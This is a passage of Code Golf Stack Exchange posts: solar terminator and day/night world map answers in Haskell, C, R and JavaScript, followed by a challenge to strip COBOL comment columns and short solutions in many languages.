projection too, using [Bresenham's algorithm](http://en.wikipedia.org/wiki/Bresenham%27s_line_algorithm) to draw the lines. The globe and terminator line both move over the course of the day. Edited to change the image to a higher resolution but (deliberately) coarser underlying bitmap, so you can see the effect of the spiral. This uses 5000 points (sampled from [~260000](http://visibleearth.nasa.gov/view.php?id=73963)), equivalent to a 50x100 bitmap, but giving more resolution to the equator than to the poles. To use the code, compile with ghc, run with an optional numeric parameter which is the hour offset; files are generated like 'earth0.pgm', 'earth1.pgm'. ``` import System.Environment import Data.List (intercalate,unfoldr) import qualified Data.Set as Set import Data.List.Split import Data.List import Data.Maybe (catMaybes) import qualified Data.Map as Map import Data.Time import Debug.Trace d=pi/180 tau=2*pi m0=UTCTime(fromGregorian 2000 1 1)(secondsToDiffTime(12*60*60)) dark::Double->Double->UTCTime->Bool dark lat long now = let time=(realToFrac$diffUTCTime now m0)/(60*60*24) hour=(realToFrac$utctDayTime now)/(60*60) mnlong=280.460+0.9856474*time mnanom=(357.528+0.9856003*time)*d eclong=(mnlong+1.915*sin(mnanom)+0.020*sin(2*mnanom))*d oblqec=(23.439-0.0000004*time)*d ra=let num=cos(oblqec)*sin(eclong) den=cos(eclong) in if den<0 then atan(num/den)+pi else atan(num/den) dec=asin(sin(oblqec)*sin(eclong)) gmst =6.697375+0.0657098242*time+hour lmst=(gmst*15*d)+long ha=(lmst-ra) el=asin(sin(dec)*sin(lat)+cos(dec)*cos(lat)*cos(ha)) in el<=0 infill(open, known)= if null open then known else infill gen where neighbours (x,y)=catMaybes $ map ((flip Map.lookup) known) [(x+1,y),(x-1,y),(x,y+1),(x,y-1),(x+1,y+1),(x-1,y+1),(x-1,y-1),(x-1,y-1)] vote a= if null a then Nothing else Just ((sum a)`div`(length a)) fill x (open', known')= case vote (neighbours x) of Nothing->(x:open',known') Just c->(open',(x,c):known') gen=(\(o,k)->(o,Map.fromList k))$foldr fill ([], Map.toList known) open mpoint (a,b)=case a of Nothing->Nothing;Just c->Just(c,b) grid w h n g lut= map (\y->map (\x->if Set.member (x,y) g then 3 else case Map.lookup (x,y) lut of Nothing->7;Just c->c) [1..w]) [1..h] unknowns w h lut=concatMap (\y->concatMap (\x->let z=1-(2*x//w-1)^2-(2*y//h-1)^2 in case Map.lookup (x,y) lut of Nothing->if z<0 then [] else [(x,y)];_->[]) [1..w]) [1..h] main=do args <- getArgs let off = if null args then 0 else read(args!!0) actual <- getCurrentTime let now=((fromIntegral off)*60*60) `addUTCTime` actual let tod=realToFrac(utctDayTime now)/86400+0.4 let s=5000 let w=800 let h=400 let n=6 -- pbm <- readFile "earth.pbm" -- let bits=ungrid s$parsepbm pbm let bits=[0,23,4,9,1,3,1,2,6,10,1,10,4,1,3,7,10,7,4,2,2,1,2,6,12,1,1,2,1,5,4,1,8,1,3, 1,21,7,2,2,35,1,4,3,2,2,2,2,16,1,25,1,2,8,1,4,1,2,13,3,2,1,26,1,1,10,3,3,8, 2,3,6,1,3,25,2,1,10,15,5,1,6,2,3,30,10,15,19,32,11,16,20,35,11,1,2,14,22,27, 1,8,14,16,22,2,1,22,1,1,2,1,1,2,1,2,1,3,16,14,25,1,2,21,1,6,1,2,1,1,2,3,17, 14,26,1,2,1,1,26,1,1,3,3,1,1,19,13,28,4,1,26,6,6,21,11,35,40,21,11,37,41,20, 2,4,4,1,1,39,19,1,6,1,16,19,2,4,5,40,18,2,7,1,17,19,1,1,1,1,1,2,3,46,7,1,5, 4,25,16,3,1,1,3,5,44,1,4,5,4,3,6,4,1,19,22,5,46,2,3,4,6,2,9,22,22,2,50,1,5, 2,1,1,6,1,8,24,15,5,1,2,51,2,5,1,1,1,5,1,10,23,14,9,55,1,4,2,17,16,1,4,14,9, 57,4,1,3,17,13,20,11,54,2,1,3,1,2,20,12,18,13,47,4,3,8,21,10,17,15,44,5,1,1, 4,1,3,2,22,10,15,16,46,4,3,1,2,2,25,9,17,15,47,1,1,3,30,9,18,13,46,2,1,4,25, 2,1,11,16,13,46,8,24,2,2,9,16,11,45,12,22,1,3,7,17,10,45,12,21,1,3,7,19,8, 43,12,25,6,19,8,41,12,25,5,20,7,40,11,25,4,20,6,40,5,3,2,48,6,38,3,54,4,30, 1,6,2,55,2,29,1,5,1,53,3,28,1,55,3,49,1,30,2,76,1,284,3,4,1,15,1,17,10,1,9, 7,1,13,21,4,4,1,2,6,17,2,8,3,63] let t(phi,lambda)=unitsphere$rx (-pi/4)$rz (-tod*4*pi)$sphereunit(phi, lambda) let hmr=(fmap (\(x,y)->(floor((fl w)*(x+4)/8),floor((fl h)*(y+2)/4)))).hammer.t let g=graticule hmr n let lut = Map.fromList$ catMaybes $map mpoint$map (\((lat,long),bit)->(hmr(lat,long),bit*4+2-if dark lat long now then 2 else 0)) $zip (spiral s) (rld bits) -- let lut = Map.fromList$ catMaybes $map mpoint$map (\((lat,long),bit)->(hmr(lat,long),bit))$zip (spiral s) (rld bits) let lut' = infill ((unknowns w h lut), lut) let pgm = "P2\n"++((show w)++" "++(show h)++" 7\n")++(intercalate "\n" $ map (intercalate " ")$chunksOf 35 $ map show(concat$grid w h n g lut'))++"\n" writeFile ("earth"++(show off)++".pgm") pgm fl=fromIntegral spiral::Int->[(Double,Double)] spiral n=map (\k-> let phi=acos(((2*(fl k))-1)/(fl n)-1) in rerange(pi/2-phi,sqrt((fl n)*pi)*phi)) [1..n] rld::[Int]->[Int] rld bits=concat$rld' (head bits) (tail bits) where rld' bit []=[] rld' bit (run:xs) = (replicate run bit):(rld' (case bit of 1->0;_->1) xs) rle::[Int]->[Int] rle bits=(head bits):(map length$group bits) sample::Int->Int->Int->[(Int,Int)] sample n w h = map (\(phi, theta)->((floor((fl h)*((phi-(pi/2))/pi)))`mod`h, (floor((fl w)*(theta-pi)/(tau)))`mod`w )) $ spiral n ungrid::Int->[[Int]]->[Int] ungrid n g = rle $ map (\(y, x)->(g!!y)!!x) (sample n w h) where w = length$head g h = length g parsepbm::[Char]->[[Int]] parsepbm pbm= let header = lines pbm format = head header [width, height] = map read$words (head$drop 1 header) rest = drop 2 header d = ((map read).concat.(map words)) rest in chunksOf width d rerange(phi,lambda) | abs(phi)>pi = rerange(phi - signum(phi)*tau, lambda) | abs(phi)>pi/2 = rerange(phi-signum(phi)*pi, lambda+pi) | abs(lambda)>pi = rerange(phi, lambda - signum(lambda)*tau) | otherwise = (phi, lambda) laea(phi,lambda)=if isInfinite(z) then Nothing else Just (z*cos(phi)*sin(lambda),z*sin(phi)) where z=4/sqrt(1+cos(phi)*cos(lambda)) hammer(phi,lambda)=case laea(phi, lambda/2) of Nothing->Nothing; Just(x,y)->Just (x, y/2) bresenham :: (Int, Int)->(Int, Int)->[(Int, Int)] bresenham p0@(x0,y0) p1@(x1,y1) | abs(dx)>50||abs(dy)>50=[] | x0>x1 = map h$ bresenham (h p0) (h p1) | y0>y1 = map v$ bresenham (v p0) (v p1) | (x1-x0) < (y1-y0) = map f$ bresenham (f p0) (f p1) | otherwise = unfoldr (\(x,y,d)->if x>x1 then Nothing else Just((x,y),(if 2*(d+dy)<dx then(x+1,y,d+dy)else(x+1,y+1,d+dy-dx)))) (x0,y0,0) where h(x,y)=(-x,y) v(x,y)=(x,-y) f(x,y)=(y,x) dx=x1-x0 dy=y1-y0 globe n k= (concatMap (\m->map (meridian m) [k*(1-n)..k*(n-1)]) [k*(1-2*n),k*(2-2*n)..k*2*n]) ++(concatMap (\p->map (parallel p) [k*(-2*n)..k*2*n]) [k*(1-n),k*(2-n)..k*(n-1)]) where meridian m p=(radians(p,m),radians(p+1,m)) parallel p m=(radians(p,m),radians(p,m+1)) radians(p,m)=rerange((p//(k*n))*pi/2,(m//(k*n))*pi/2) graticule f n=Set.fromList $ concatMap (\(a,b)->case (f a,f b) of (Nothing,_)->[];(_,Nothing)->[];(Just c,Just d)->bresenham c d) (globe n 4) rx theta (x,y,z) = (x, y*(cos theta)-z*(sin theta), y*(sin theta)+z*(cos theta)) ry theta (x,y,z) = (z*(sin theta)+x*(cos theta), y, z*(cos theta)-x*(sin theta)) rz theta (x,y,z) = (x*(cos theta)-y*(sin theta), x*(sin theta)+y*(cos theta), z) sphereunit (phi, theta) = (rz theta (ry (-phi) (1,0,0))) unitsphere (x,y,z) = (asin z, atan2 y x) x//y=(fromIntegral x)/(fromIntegral y) ``` [Answer] ## C, using pnm images Late answer, focusing on **correctness** and **aesthetics**. The output is a blend of two input images (day.pnm and night.pnm), including a stripe of twilight. I'm using images based on NASAs blue marble here. The code uses my own img.h for clarity (just imagine it being included verbatim in the .c for strict rule compliance...). Everything in there is implemented via C macros. The animations are built with imagemagicks convert from multiple frames - the program itself will only output static images. Code is below. **Now:** (Aug 13, ~13:00 CEST) ![output](https://i.stack.imgur.com/ezJj6.png) **One day:** (Jan 1st) [![oneday](https://web.archive.org/web/20161204023406/http://img5.picload.org/image/lwwgwlo/oneday.gif)](https://web.archive.org/web/20161204023406/http://img5.picload.org/image/lwwgwlo/oneday.gif) **One year:** (12:00 UTC) [![oneyear](https://web.archive.org/web/20160224021902/http://img5.picload.org/image/lwwgwcl/oneyear.gif)](https://web.archive.org/web/20160224021902/http://img5.picload.org/image/lwwgwcl/oneyear.gif) **sun.c** ``` #include <math.h> #include <time.h> #include "img.h" #ifndef M_PI #define M_PI 3.14159265359 #endif double deg2rad(double x) {return x / 180.0 * M_PI;} double rad2deg(double x) {return x * 180.0 / M_PI;} double sind(double x) {return sin(deg2rad(x));} double cosd(double x) {return cos(deg2rad(x));} double asind(double x) {return rad2deg(asin(x));} double elevation(double latitude, double longitude, int yday, int hour, int min, int sec) { double fd = (hour + (min + sec / 60.0) / 60.0) / 24.0; double fyd = 360.0 * (yday + fd) / 366.0; double m = fyd - 3.943; double ta = -1.914 * sind(m) + 2.468 * sind(2 * m + 205.6); double hourangle = (fd - 0.5) * 360.0 + longitude + ta; double decl = 0.396 - 22.913 * cosd(fyd) + 4.025 * sind(fyd) - 0.387 * cosd(2 * fyd) + 0.052 * sind(2 * fyd) - 0.155 * cosd(3 * fyd) + 0.085 * sind(3 * fyd); return asind(cosd(hourangle) * cosd(decl) * cosd(latitude) + sind(decl) * sind(latitude)); } int main(int argc, char* argv[]) { Image day, night, out; int x, y; time_t t = time(0); struct tm* utc = gmtime(&t); int yday = utc->tm_yday, hour = utc->tm_hour, min = utc->tm_min, sec = utc->tm_sec; imgLoad(day, "day.pnm"); imgLoad(night, "night.pnm"); imgLoad(out, "day.pnm"); for(y = 0; y < day.height; ++y) { double latitude = 90.0 - 180.0 * (y + 0.5) / day.height; for(x = 0; x < day.width; ++x) { double longitude = -180.0 + 360.0 * (x + 0.5) / day.width; double elev = elevation(latitude, longitude, yday, hour, min, sec); double nf = elev > -0.8 ? 0.0 : elev > -6.0 ? 0.5 : 1.0; double df = 1.0 - nf; Color dc = imgGetColor(day, x, y); Color nc = imgGetColor(night, x, y); imgDotC3(out, x, y, df * dc.r + nf * nc.r, df * dc.g + nf * nc.g, df * dc.b + nf * nc.b); } } imgSave(out, "out.pnm"); } ``` **img.h** ``` #include <stdlib.h> #include <stdio.h> #include <string.h> typedef struct { unsigned char r; unsigned char g; unsigned char b; } Color; typedef struct { Color* data; int width; int height; Color c; } Image; #define imgCreate(img, w, h) {\ int length;\ (img).width = (w);\ (img).height = (h);\ length = (img).width * (img).height * sizeof(Color);\ (img).data = malloc(length);\ memset((img).data, 0, length);\ (img).c.r = (img).c.g = (img).c.b = 0;\ } #define imgDestroy(img) {\ free((img).data);\ (img).width = 0;\ (img).height = 0;\ (img).c.r = (img).c.g = (img).c.b = 0;\ } #define imgSetColor(img, ur, ug, ub) {\ (img).c.r = (ur);\ (img).c.g = (ug);\ (img).c.b = (ub);\ } #define imgDot(img, x, y) {\ (img).data[(int)(x) + (int)(y) * (img).width] = (img).c;\ } #define imgDotC3(img, x, y, ur, ug, ub) {\ (img).data[(int)(x) + (int)(y) * (img).width].r = (ur);\ (img).data[(int)(x) + (int)(y) * (img).width].g = (ug);\ (img).data[(int)(x) + (int)(y) * (img).width].b = (ub);\ } #define imgDotC(img, x, y, c) {\ (img).data[(int)(x) + (int)(y) * (img).width] = (c);\ } #define imgGetColor(img, x, y) ((img).data[(int)(x) + (int)(y) * (img).width]) #define imgLine(img, x, y, xx, yy) {\ int x0 = (x), y0 = (y), x1 = (xx), y1 = (yy);\ int dx = abs(x1 - x0), sx = x0 < x1 ? 1 : -1;\ int dy = -abs(y1 - y0), sy = y0 < y1 ? 1 : -1;\ int err = dx + dy, e2;\ \ for(;;)\ {\ imgDot((img), x0, y0);\ if (x0 == x1 && y0 == y1) break;\ e2 = 2 * err;\ if (e2 >= dy) {err += dy; x0 += sx;}\ if (e2 <= dx) {err += dx; y0 += sy;}\ }\ } #define imgSave(img, fname) {\ FILE* f = fopen((fname), "wb");\ fprintf(f, "P6 %d %d 255\n", (img).width, (img).height);\ fwrite((img).data, sizeof(Color), (img).width * (img).height, f);\ fclose(f);\ } #define imgLoad(img, fname) {\ FILE* f = fopen((fname), "rb");\ char buffer[16];\ int index = 0;\ int field = 0;\ int isP5 = 0;\ unsigned char c = ' ';\ while(field < 4)\ {\ do\ {\ if(c == '#') while(c = fgetc(f), c != '\n');\ } while(c = fgetc(f), isspace(c) || c == '#');\ index = 0;\ do\ {\ buffer[index++] = c;\ } while(c = fgetc(f), !isspace(c) && c != '#' && index < 16);\ buffer[index] = 0;\ switch(field)\ {\ case 0:\ if (strcmp(buffer, "P5") == 0) isP5 = 1;\ else if (strcmp(buffer, "P6") == 0) isP5 = 0;\ else fprintf(stderr, "image format \"%s\" unsupported (not P5 or P6)\n", buffer), exit(1);\ break;\ case 1:\ (img).width = atoi(buffer);\ break;\ case 2:\ (img).height = atoi(buffer);\ break;\ case 3:\ index = atoi(buffer);\ if (index != 255) fprintf(stderr, "image format unsupported (not 255 values per channel)\n"), exit(1);\ break;\ }\ field++;\ }\ imgCreate((img), (img).width, (img).height);\ if (isP5)\ {\ int length = (img).width * (img).height;\ for(index = 0; index < length; ++index)\ {\ (img).data[index].r = (img).data[index].g = (img).data[index].b = fgetc(f);\ }\ }\ else\ {\ fread((img).data, sizeof(Color), (img).width * (img).height, f);\ }\ fclose(f);\ } ``` [Answer] # R: Using ggplot2 and Map projection ![enter image description here](https://i.stack.imgur.com/wN0zk.gif) Inspired by @mniip's post, I decided to try using R's mapproj package, wherein we can orient the globe by specifying where the North Pole should be when computing the projection. Based on current GMT time, I compute the longitude where is it currently noon and make that point the map's center. We are looking at Earth from the "Sun's point of view" so whatever is visible is in daylight. Much of the code is just aesthetics. The only part I had to figure out was to compute the "noon Longitude," that is the longitude value where it was noon given any GMT time. ``` library(ggplot2);library(maps);library(ggmap) world <- map_data("world")# a lat-long dataframe from the maps package worldmap <- ggplot(world, aes(x=long, y=lat, group=group)) + geom_path(color="orange") + theme(panel.background= element_rect("black"), axis.text.y=element_blank(), axis.ticks=element_blank(), axis.title.x=element_blank(), axis.title.y=element_blank(), panel.grid.major = element_line(colour="blue", size=0.75), panel.grid.minor = element_line(colour="blue") ) #Create a function that takes in the current GMT time print_3d_coordmap <- function (current_gmt_time) { curr_gmt_mins <- as.POSIXlt(current_gmt_time)$hour*60 + as.POSIXlt(current_gmt_time)$min noon_longitude <- 180 - (curr_gmt_mins * 360/1440) #centered at wherever longitude where it is Noon now on (lat:equator) worldmap + coord_map("ortho", orientation=c(0, noon_longitude, 0)) } #test it out print_3d_coordmap(Sys.time() + 7*60*60) # my location is 7 hours behind UTC ``` I then used the [R animation package](http://cran.r-project.org/web/packages/animation/index.html) to generate 24 images and stitched them into one GIF. [Answer] ## JavaScript – by Martin Kleppe (<http://aem1k.com/>) I want to stress that this is not my work, but the work of Martin Kleppe. I just think it fits so perfectly that it should not be missing here: [Online Demo](http://aem1k.com/world/) (or just paste it into the console) ``` eval(z='p="<"+"pre>"/* ######## */;for(y in n="zw24l6k\ 4e3t4jnt4qj24xh2 x/* *############### */42kty24wrt413n243n\ 9h243pdxt41csb yz/* #################### */43iyb6k43pk7243nm\ r24".split(4)){/* *#################* */for(a in t=pars\ eInt(n[y],36)+/* ###############* */(e=x=r=[]))for\ (r=!r,i=0;t[a/* ############* */]>i;i+=.05)wi\ th(Math)x-= /* ############# */.05,0<cos(o=\ new Date/1e3/* #########* */-x/PI)&&(e[~\ ~(32*sin(o)*/* ####* */sin(.5+y/7))\ +60] =-~ r);/* *### */for(x=0;122>\ x;)p+=" *#"/* ##### */[e[x++]+e[x++\ ]]||(S=("eval"/* *##### */+"(z=\'"+z.spl\ it(B = "\\\\")./* ###* #### */join(B+B).split\ (Q="\'").join(B+Q/* ###* */)+Q+")//m1k")[x/2\ +61*y-1]).fontcolor/* ## */(/\\w/.test(S)&&"#\ 03B");document.body.innerHTML=p+=B+"\\n"}setTimeout(z)')//m1k\ ``` ]
[Question] [ COBOL is a very old language, at the time of writing it is 58 years old. It is so old, in fact, that it has a very interesting quirk: the first six characters of each line are comments. Why is this, you ask? Well, those 6 characters were intended to be used as line numbers, back in the day where programs weren't completely digital and typed out on a computer. In addition, the seventh character could only be part of a very small set (it is usually `*` to comment out the line or a space to separate the line number from the code) But what if you're on a more digital system, and you just want the raw program? ## The comment system There are two types of comments in COBOL: line comments and the aforementioned "line number" comments. Uncommenting line numbers is simple: just take the first seven (six plus a single space) characters off each line. ``` 000000 apple 000001 banana celery donuts ``` would become: ``` apple banana donuts ``` Line comments make it a bit more difficult. A line comment is started with an asterisk `*` placed in the seventh character position on the line, like so: ``` 000323* this is a comment ``` This is not a line comment: ``` *00000 this isn't a comment ``` To uncomment a line comment, just remove the whole line. An example commented "program": ``` 000000 blah blah 000001* apples 000002 oranges? 000003* yeah, oranges. 000*04 love me some oranges ``` The uncommented version: ``` blah blah oranges? love me some oranges ``` In other words, to uncomment a string, remove the first six characters of each line, then return all but the first character of every line that does not begin with a star. ## The challenge Create a program or function that takes a commented program and returns its uncommented variant. ## Clarifications * Asterisks (`*`) will never be found anywhere outside the first seven characters on a line (we're not asking you to verify syntax) * Each line will always have at least 7 characters. * You may assume the seventh character is always an asterisk or a space. * Input or output may be a matrix or list. * Only printable ASCII characters (plus newline) must be handled. * You may output with a trailing newline. You may also assume that the input will have a trailing newline, if you so choose. ## Scoring Since this is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), the answer with the least bytes wins! DISCLAIMER: I do not actually know COBOL and do not claim to. If any of the claims about COBOL I have made in this question are incorrect, I take no responsibility. [Answer] # COBOL (GnuCOBOL), 191 + 17 = 208 bytes I "learned" COBOL for this answer, so it's probably not fully golfed. This is a full program, taking input on what I presume to be standard input and writing to what I presume to be standard output. Perhaps one day I'll return to this and (1) determine whether COBOL has functions and, if so, (2) see whether a function solution would be shorter. Byte count includes program and compiler flags (`-free` and `-frelax-syntax`). ``` program-id.c.select i assign keyboard line sequential.fd i. 1 l pic X(80). 88 e value 0.open input i perform until e read i end set e to true end-read if not e and l(7:1)<>'*'display l(8:73). ``` [Try It Online](https://tio.run/##NY/BboMwEETv/Yq5JaBiQVMpKKra38h1gYVYXWzXNlH4@VAD7R5Gmje7I21rGyvFYKZlcd4OnsZCd6pVgYXbCA0KQQ8G3zw3lnwH0YYR@GdiEzWJ6jtohQoCp1tcj3WZKdQ1GHeSiVEq69hAGzetdY59b/2IKV1LWvJMqQBsulQaE4gW0ae7RIo97GHsmlDakeP5UmUfn4f80OnghOaE6sv5lKllKbdBI3Tb5GXzVQ5yTjjs9g3Wkxk4fO3@lGNmur3@Y7XivHyH2DtjTL/aJH/hs@2FhrAUvWfeVOhRhNlEevwC) ## Ungolfed program ``` program-id. c. select i assign to keyboard organization line sequential. fd i. 1 l pic X(80). 88 e value 0. open input i perform until e read i end set e to true end-read if not e and l(7:1) <> '*' display l(8:73). ``` ## Limitations The output is, technically speaking, not correct. From my cursory research, it seems the only practical way to store a string in COBOL is in a fixed-size buffer. I have chosen a buffer size of 80 characters, since this is the line length limit for fixed-format programs. This presents two limitations: * Lines longer than 80 characters are truncated. * Lines shorter than 80 characters are right-padded with spaces. I'm guessing this is acceptable since, well, it's COBOL. If not, I'd be willing to look into alternatives. ## Acknowledgments * -166 bytes thanks to Edward H * -2 bytes thanks to *hornj* [Answer] # [Python 2](https://docs.python.org/2/), ~~39~~ ~~38~~ 37 bytes *-1 byte thanks to LyricLy. -1 byte thanks to Mego.* ``` lambda s:[i[7:]for i in s if'*'>i[6]] ``` [Try it online!](https://tio.run/##PYlBCsIwFAWv8nbRUKRWUShUDxKz@MXEfkiTkBShp49Sa2cxi5k4T0PwTbHdozga@ycht4rVtdU2JDDYI4OtkOLG6qJ1iYn9BLtTol5A72hYJCr82lGCYnQmb6VBSORfJt@3dJKYDQ3V/xzWI@szXHgbjAY5fLV@offlAw "Python 2 – Try It Online") I/O as lists of strings. [Answer] # [Perl 5](https://www.perl.org/), ~~19~~ + 1 (-p) = ~~20~~ 16 bytes *-4 bytes with Pavel's suggestions* ``` s/.{6}( |.*)//s ``` [Try it online!](https://tio.run/##K0gtyjH9/79YX6/arFZDoUZPS1Nfv/j/fwMwUEjKScwAE1xgvqGWQmJBQU5qMYRrpJBflJiXnlpsD@EbaylUpiZm6MCE9UDCWgYmCjn5ZakKuakKxflAAir5L7@gJDM/r/i/rq@pnoGhwX/dAgA "Perl 5 – Try It Online") [Answer] # [V](https://github.com/DJMcMayhem/V), ~~13~~ ~~11~~ 10 bytes ``` Î6x<< çª/d ``` [Try it online!](https://tio.run/##K/v//3CfWYWNDdfh5YdW6af8/28ABgpJOYkZYIILzDfUUkgsKMhJLYZwjRTyixLz0lOL7SF8Yy2FytTEDB2YsB5IWMvARCEnvyxVITdVoTgfSEAlAQ "V – Try It Online") ### Explanation ``` Î ' On every line x ' delete the first... 6 ' 6 characters << ' and unindent the line (removes the leading space) ç / ' on every line ª ' matching \* d ' delete the line ``` Hexdump: ``` 00000000: ce36 783c 3c0a e7aa 2f64 .6x<<.../d ``` [Answer] # [Paradoc](https://github.com/betaveros/paradoc) (v0.2.8+), 8 bytes (CP-1252) ``` µ6>(7#;x ``` Takes a list of lines, and results in a list of uncommented lines. Explanation: ``` μ .. Map the following block over each line (the block is terminated .. by }, but that doesn't exist, so it's until EOF) 6> .. Slice everything after the first six characters ( .. Uncons, so now the stack has the 6th character on top .. and the rest of the line second 7# .. Count the multiplicity of factors of 7 in the character .. (treated as an integer, so '*' is 42 and ' ' is 32) ; .. Pop the top element of the stack (the rest of the line)... x .. ...that many times (so, don't pop if the 6th character was a .. space, and do pop if it was an asterisk) ``` Hi, I wrote a golfing programming language. :) I'm still developing this and added/tweaked a bunch of built-ins after trying to write this so that there are more reasonable ways to differentiate between a space and an asterisk than "`7#`", but I feel like that would make this noncompeting. It's fortunate that it still worked out (this only uses features from v0.2.8, which I committed three days ago). [Answer] # Octave, 23 bytes ``` @(s)s(s(:,7)~=42,8:end) ``` [Try it online!](https://tio.run/##y08uSSxL/f/fQaNYs1ijWMNKx1yzztbESMfCKjUvRfN/mq1CYl6xNVexbTSXkgEYKCTlJGaACSWokKGWQmJBQU5qMUzASCG/KDEvPbXYHiZirKVQmZqYoQOT0INIaBmYKOTkl6Uq5KYqFOcDCai0Uqw1F1ca0E3/AQ "Octave – Try It Online") [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~11~~ 9 bytes ``` ṫ€7Ḣ⁼¥Ðf⁶ ``` [Try it online!](https://tio.run/##y0rNyan8///hztXmKo@a1hza@nDHIttHjdsObT08Ie3/4fbI//@jlQzAQCEpJzEDTCjpQIQMtRQSCwpyUothAkYK@UWJeempxfYwEWMthcrUxAwdmIQeRELLwEQhJ78sVSE3VaE4H0hApZViAQ "Jelly – Try It Online") Inputs and outputs as a list of lines. *-2 bytes thanks to @EriktheOutgolfer and @JonathanAllan* **How it works** ``` ṫ€7Ḣ=¥Ðf⁶ € On each line: ṫ 7 Replace the line with line[7:] Ðf Keep all lines that meet condition: ¥ Dyad: Ḣ First Element (modifies line) = Equals ⁶ Space ``` [Answer] # [PowerShell](https://github.com/TryItOnline/TioSetup/wiki/Powershell), 32 bytes ``` $input-replace'^.{6}( |.*)'-ne'' ``` [Try it online!](https://tio.run/##NYnLCsIwEEX3fsUshGiwoT5w658Io1yMMCZDYiuifnu0ab2LA@dcjQ@k7CFSyvwatLs3CSp8hjm61/6zoLezS9MEGFNKW0cnYV8xq762xKqCPOqGYuJwQT6MvrX0BPvVP7sh23ZHEnvQDZTjD9P5BQ "PowerShell – Try It Online") Pipeline input comes in as an array of strings, `-replace` works on every string, and `-ne ''` (not equal to empty string) applied to an array, acts to filter out the blank lines. [Answer] # Vim, 14 bytes `Ctrl-V``G5ld:%g/\*/d``Enter` Loading the input file as the buffer to edit, then enter the above commands. Output is the new buffer. [Answer] # [Pyth](https://pyth.readthedocs.io), 9 bytes Note that this only works if at least 1 line is *not* a comment and at least 1 line *is* a comment. All the other solutions work in all cases. *-2 bytes thanks to [@pizzakingme](https://codegolf.stackexchange.com/users/72796/pizzakingme)!* ``` m>d7.m@b6 ``` **[Try it here!](https://pyth.herokuapp.com/?code=m%3Ed7.m%40b6&input=%5B%22000000+blah+blah%22%2C+%22000001%2a+apples%22%2C+%22000002+oranges%3F%22%2C+%22000003%2a+yeah%2C+oranges.%22%2C+%22000%2a04+love+me+some+oranges%22%5D&debug=0)** ### Explanation ``` m>d7.m@b6 - Full program with implicit input. Takes input as a list of Strings. m>d7 - All but the first 7 letters of .m (Q) - The input, filtered for its minimal value using the < operator on @b6 - the 7th character -- note that "*" is greater than " " - Implicitly Output the result. ``` --- # [Pyth](https://pyth.readthedocs.io), 11 bytes ``` tMfqhTdm>d6 ``` **[Try it here!](https://pyth.herokuapp.com/?code=tMfqhTdm%3Ed6&input=%5B%22000000+blah+blah%22%2C+%22000001%2a+apples%22%2C+%22000002+oranges%3F%22%2C+%22000003%2a+yeah%2C+oranges.%22%2C+%22000%2a04+love+me+some+oranges%22%5D&debug=0)** ### Explanation ``` tMfqhTdm>d6 - Full Program with implicit input. Takes input as a list of Strings. m>d6 - Remove the first 6 characters of each line. hT - Get the first character of each. fq d - Keep those that have the first character an asterisk. tM - Remove the first character of each. - Output Implicitly. ``` --- # [Pyth](https://pyth.readthedocs.io), 11 bytes ``` m>d7fqd@T6Q ``` **[Try it here!](https://pyth.herokuapp.com/?code=m%3Ed7fqd%40T6Q&input=%5B%22000000+blah+blah%22%2C+%22000001%2a+apples%22%2C+%22000002+oranges%3F%22%2C+%22000003%2a+yeah%2C+oranges.%22%2C+%22000%2a04+love+me+some+oranges%22%5D&debug=0)** ### Explanation ``` m>d7fq@T6dQ - Full program. Takes input as a list of Strings. @T6 - The sixth character of each. fq dQ - Keep the lines that have a space as ^. m>d7 - Crop the first 7 characters. - Output implicitly. ``` --- # [Pyth](https://pyth.readthedocs.io), 12 bytes ``` tMfnhT\*m>d6 ``` **[Try it here!](https://pyth.herokuapp.com/?code=tMfnhT%5C%2am%3Ed6&input=%5B%22000000+blah+blah%22%2C+%22000001%2a+apples%22%2C+%22000002+oranges%3F%22%2C+%22000003%2a+yeah%2C+oranges.%22%2C+%22000%2a04+love+me+some+oranges%22%5D&debug=0)** ### Explanation ``` tMfnhT\*m>d6 - Full Program with implicit input. Takes input as a list of Strings. m>d6 - Remove the first 6 characters of each line. hT - Get the first character of each. fn \* - Filter those that aren't equal to an asterisk. tM - Remove the first character of each. - Output Implicitly. ``` --- # [Pyth](https://pyth.readthedocs.io), 12 bytes ``` m>d7fn@T6\*Q ``` **[Try it here!](https://pyth.herokuapp.com/?code=m%3Ed7fn%40T6%5C%2aQ&input=%5B%22000000+blah+blah%22%2C+%22000001%2a+apples%22%2C+%22000002+oranges%3F%22%2C+%22000003%2a+yeah%2C+oranges.%22%2C+%22000%2a04+love+me+some+oranges%22%5D&debug=0)** ### Explanation ``` m>d7fn@T6\*Q - Full program. Takes input as a list of Strings. @T6 - Get the sixth character of each string fn \*Q - And filter those that aren't equal to an asterisk. m>d7 - Crop the first 7 characters. - Output implicitly. ``` [Answer] # [C (gcc)](https://gcc.gnu.org/), 53 48 46 bytes ``` x;main(y){for(y=&x;gets(y-6);x&2||puts(y+1));} ``` [Try it online!](https://tio.run/##NYnBDoIwEAXvfsWeSFvFABoujfFb1mYtJoU2VEgb8durFH2HSWaeKrVSKQXZ42Ngkb/udmTxUgSp6elZLFsuQ9Esi5tW3decy3dKVR7cDHYZu@y1AHTOkN@0ATvioMlfNz8JiITd4Z@PaxbVGYydCXoCb7/4nR8 "C (gcc) – Try It Online") *-5 bytes:* It was very tricky to get this "*whole program*" down to the same size as [gurka's function](https://codegolf.stackexchange.com/a/140346/71420). It's now writing out of bounds (in both directions) of an array of wrong type and relies on *little endian* and *4 byte integers* to find the asterisk ... but hey, it works ;) *-2 bytes:* Well, if we already write to some "random" `.bss` location, why bother declaring an *array* at all! So here comes the string handling program that uses *neither* the `char` type *nor* an array. [Answer] # C, ~~63~~ ~~59~~ ~~55~~ ~~48~~ ~~47~~ 46 bytes Thanks to "*an anonymous user*" for getting rid off yet another byte. Thanks to [Felix Palmen](https://codegolf.stackexchange.com/users/71420/felix-palmen) for reminding me of "*You may assume the seventh character is always an asterisk or a space.*", which shaved off one more byte. ``` f(char**a){for(;*a;++a)(*a)[6]&2||puts(*a+7);} ``` Use like: ``` char** program = { "000000 apple", "000001 banana", "celery donuts", 0 }; f(program); ``` [Try it 